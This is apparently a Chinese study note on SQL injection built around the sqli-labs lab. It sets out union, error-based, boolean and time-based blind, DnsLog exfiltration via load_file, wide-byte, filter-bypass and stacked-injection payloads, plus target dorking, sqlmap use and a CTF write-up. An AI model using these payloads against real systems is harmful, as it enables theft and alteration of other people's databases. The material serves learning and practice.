SQL注入的原理及基础
环境
sqli-labs
Wamp(Wamp运行起来任务栏的图标一定要是绿的)
问题
在Wamp安装sqli-labs时由于php版本太高会导致报错,我直接打开phpmyadmin导入 .sql 文件,好像也能用。
原理
SQL注入是一种将 恶意的SQL代码插入或添加到应用(用户)的输入参数中,攻击者探测出开发者编程过程中的漏洞,利用这些漏洞,巧妙的 构造SQL语句,对数据库系统的内容进行直接 检索或修改。
说白了就是你通过各种方法向数据库服务器提交一段查询代码,使之能够返回一些数据库的信息。
- 用户输入可控
- 必须要拼接到SQL语句中执行
根据注入位置数据类型分类:
字符型注入
数值型注入
验证是否存在SQL漏洞
- 单引号 ’
- and 1=1
- and 1=2,如果出现报错证明存在漏洞
MySQL注入方法常用函数及逻辑运算
- system_user(),user(),current_user(),version(),database();
- session_user():可以列出连接了该数据库的其他用户;
- @@version,@@datadir,@@basedir,@@version_compile_os 以上三条select xxx;
- count(): select count(*) from users;
- concat(),concat_ws(“间隔符”,字段1,字段2…),group_concat();
- into outfile : select “写的内容” into outfile “文件路径”;
- load_file(): select load_file (“文件路径”);
- ascii():select ascii(“字符串”);
- char(“ascii码”)与ascii()作用相反;
- ord():返回字符串的第一个字符的ascii值;
- substr(),mid(): mid(“字符串”,起始位置.结束位置),从 1开始算;
- length():字符串的长度;
- left():返回字符串最左边的几个字符,从1开始算,left(“字符串”,位置);
- floor():返回小于等于x的最大整数
- rand():返回0,1之间的随机数;
- extractvalue():extractvalue(“file_name”,“X_path”),从filname中找到符合xpath的字符串;
- updatexml():updatexml(“file_name”,“X_path”,“替换的字符串”),从filname中找到符合xpath的字符串被替换的字符串替换掉;
- if(“不等式”,值1,值2):如果不等式成立返回值1,否则返回值2;
- strcmp(值1,值2):若两个值相等返回 0,前者大返回1,后者大 -1;
- ifnull(参数1,参数2):若参数1不为null,就返回参数1,否则就返回参数2;
- exp():返回e的x次方;
- 算数运算符 :+ 、- 、*、 /(div) 、 % (mod);
- 比较运算符 :<,>,>=,<=,!=(<>),is null (为空),is not null(不为空),between and ,in, not in,like,not like,regexp(正则表达式);
- 逻辑运算符:&&(and),||(or);
- table_name,table_schema,information_schema.tables
- Mysql5.0以上的版本中,默认定义了information_schema的数据库,用来存储数据单元,其中具有 schemata,tables,columns三张表,如下图.
- limit m,n:表示从第m条开始搜索,搜索n条,(从0开始)
MySql注入语句样例分析
- ’ and 1=2 union select 1,2,3 --+ ,order by 1–+:引号闭合前面,and报错,显示union之后的查询语句,可以用来查询有多少列;
- select user() regexp “^ro”
- ascii( substr ( (select user()), 1,1 ) ) = 114:select user() 查询出用户名,substr从第一个开始,长度为第一个,转成ascii值,判断与114是否相等。盲注还是可以的
- if(ascii( substr ( (select user()), 1,1 ) ) = 114,0,sleep(5)):在3的基础上,如果等于114,立即返回,如果不是睡5秒;时间盲注也是可以的
- ascii(substr( (select table_name from information_schema.tables where table_schema=database()), 1,1) )=9
- updatexml(1,concat(0x7e,(select @@version),0x7e),1):参数2的位置上不是合法的格式,会报错,从而会显示相关信息。上个图
- select 列名称(*) from 表名称 where 字段1=“条件1” and …
- insert into 表名(列1,列2…) values (值1,值2…)
- update 表名称 set 列名称=新值 where 列名称=某值
- 注释符:#,–空格(%20)或/**/
- 内联注释:
/*! sql语句*/
SQL注入流程
- 目标搜集: inurl:.php?id=site:target.com
- 注入识别: 简单手工注入识别:’,and1=1/and1=2;and’1’=2’/and’1’='1;
and1like1/and1like2;工具识别 sqlmap -m filename ;sqlmap --crawl;sqlmap -r filename;sqlmap --level;BurpSuite+sqlmap;代码审计:关键函数和代码(可以倒着找,从select出发,也可以正着找,从与用户交互出发;),梳理业务流程;
- 注入流程:
手工注入
MySQL(>=5.7)内置库
mysql:保存有账户信息,时区等信息;
sys:帮助我们快速了解系统的元数据;
performance_schema:用于收集服务器性能参数;
information_schema:保存着MySQL服务器所维护的其他所有数据库的信息;
重点
- 查库: select schema_name from information_schema.schemata
- 查表: select table_name from information_schema.tables where table_schema=‘库名’;
- 查列: select column_name from information_schema.columns where table_name=‘表名’('表名’也可以直接转换成16进制);
- 查数据: select 列名 from库名.表名
如果数据太多,可以利用 concat或者limit来查询。
UNION联合注入查询
注意
- 要有回显
- 只有最后一个子句有limit或order by
- 要与
union流程
- 使用order by 查询列数
- 使用 union 确定回显位置
- 查询库,表,列,数据。
报错注入
原理
构造payload让信息通过错误提示回显出来
应用场景
查询不回显内容,会打印错误信息,
Update,insert等语句会打印错误信息
报错注入方法
- floor():select count(*) from information_schemation.tables group by concat ((select version()),0x7e,floor(rand(0)*2));原理总结起来就是:floor(rand(0)*2)会产生0110110111…的固定序列,mysql遇见group by会建立一个空的虚表第一次产生的0不在虚表里,当插入新值的时候floor又重新算一遍插入1,随后遇到1的时候直接加一,但之后遇见第二个0的时候,不存在0继续插入1,但mysql要求插入新的值时要求主键唯一,1已经存在了,报错,达到我们想要的效果;
- extractvalue():select extractvalue(1,concat(0x7e,(select user()),0x7e));前面讲过了; concat 构造非法的Xpath语句;
- updatexml():updatexml(1,concat(0x7e,(select user()),0x7e),1);和2类似;
- 若返回的字符串过长可以加substr:updatexml(1,concat(0x7e,(select substr(concat(username,0x3a,password ),1,2) from users limit 0,1),0x7e),1) --+
- 可以使用burp批量注入得到结果
布尔盲注
bool盲注的原理
通过构造 payload ,判断数据库信息的正确性,在通过页面的“真”和"假"来判断我们的判断是否正。
布尔盲注的方法
- left:left(databaase(),1)>‘s’,database()显示数据库,left(a,b)从左侧截取a的前b位
- regexp:select user() regexp ‘^r’
- like:select user() like ‘ro%’
- substr(),ascii():ascii(substr((select database()),1,1))=98,substr(a,b,c)从b的位置开始截取字符串a的c长度;
- ord(),mid():ord(mid((select user()),1,1))=114;
- 可以用bp批量注入,也可以利用脚本。
时间盲注
时间盲注的原理
通过构造payload,通过页面的响应时长,来判断信息。
时间盲注的方法
if(left(user(),1)=“a”,0,sleep(3));
if(ascii(substr(database(),1,1))>115,0,sleep(3));
- 建议写脚本;
DnsLog盲注
应用场景
代码存在SQL注入漏洞,但页面不回显数据,不回显错误。 需要自己搭建或找一个dnslog平台。
MySql LOAD_FILE 函数可发起请求:
==select load_file(concat(’\\’,‘test’,.mysql.yc1yla\abc’));==请求变成test.mysql.yc1yla
DnsLog盲注原理
构造语句,利用load_file函数发起请求,使用Dns_log接收请求,获取数据。
DnsLog盲注的方法
select load_file(concat(’\\’,(select database()),‘mysql.yc1yla\abc’));
通过SQL语句查询内容,作为请求的一部分,发送至Dnslog,就能实现有回显的SQL注入;值得注意的是
- sql语句中不能出现特殊符号如,:,~,@等
- 只能在windows系统下进行,目标服务为windows系统
- 本地的环境不能显示。。。。
- 大佬的脚本代码 https://github.com/ADOOO/DnslogSqlinj
宽字节注入
宽字节注入原理
宽字节实际上就是两个字节,MySQL在使用GBK编码的时候,会认为两个字符为一个汉字(前一个Ascii码大于128才能到汉字)
宽字节注入方法
在注入点后键入%df,然后按照正常的注入流程开始注入。
- 黑盒测试 在可能的注入点后键入%df,之后进行注入测试。
- 白盒测试
- 查看MySql编码是否为GBK;
- 是否使用preg_replace把单引号替换成’;
- 是否使用addslashes进行转义;
- 是否使用mysql_real_escape _string进行转换;
二次编码注入
原理
==urldecode()==与PHP本身处理编码时,两者配合失误,可构造数据消灭
MySQL读写文件
读写前提:
- 用户权限足够高
- secure_file_priv 不为NULL
- general_log(读)的值为 on
SQL注入绕过技术
- 大小写绕过:通过修改关键字内字母大小写绕过过滤措施,ORder
- 双写绕过:un(union)ion
- 编码绕过:对url编码
- 在Mysql中使用内联注释:
/*!select*/ * form user
堆叠注入
来自强网杯的一道题目。该题目把常规的字符select、update、delete、drop、insert、where都过滤掉且忽略大小写。
这时候就用到堆叠注入了。所谓的堆叠注入就是在一句sql语句之后用分号隔开,再写另外一个sql语句,在后端这两句语句是会被一起执行的。
开始这个题
常规注入
输入引号报错,接着 order by 判断字段数目为 2,输入 union select 回显
过滤常规注入字符串,开始堆叠注入
数据库太多,查表
查 1919810931114514字段
ok,flag 在此。但是有一个细节就是之前 order by 2
证明有查询语句中会有两个字段。类似语句可能是 select id, data from words where id =
所以需要将191981093114514表改成 worlds,原来的worlds改成world1。将新改的words重新添加一列
;rename table `words` to `word1`;rename table 1`919810931114514` to `words`;alter table `words` add id int unsigned not Null auto_increment primary key; alter table `words `change `flag` `data` varchar(100);#
之后再次输入1得到flag。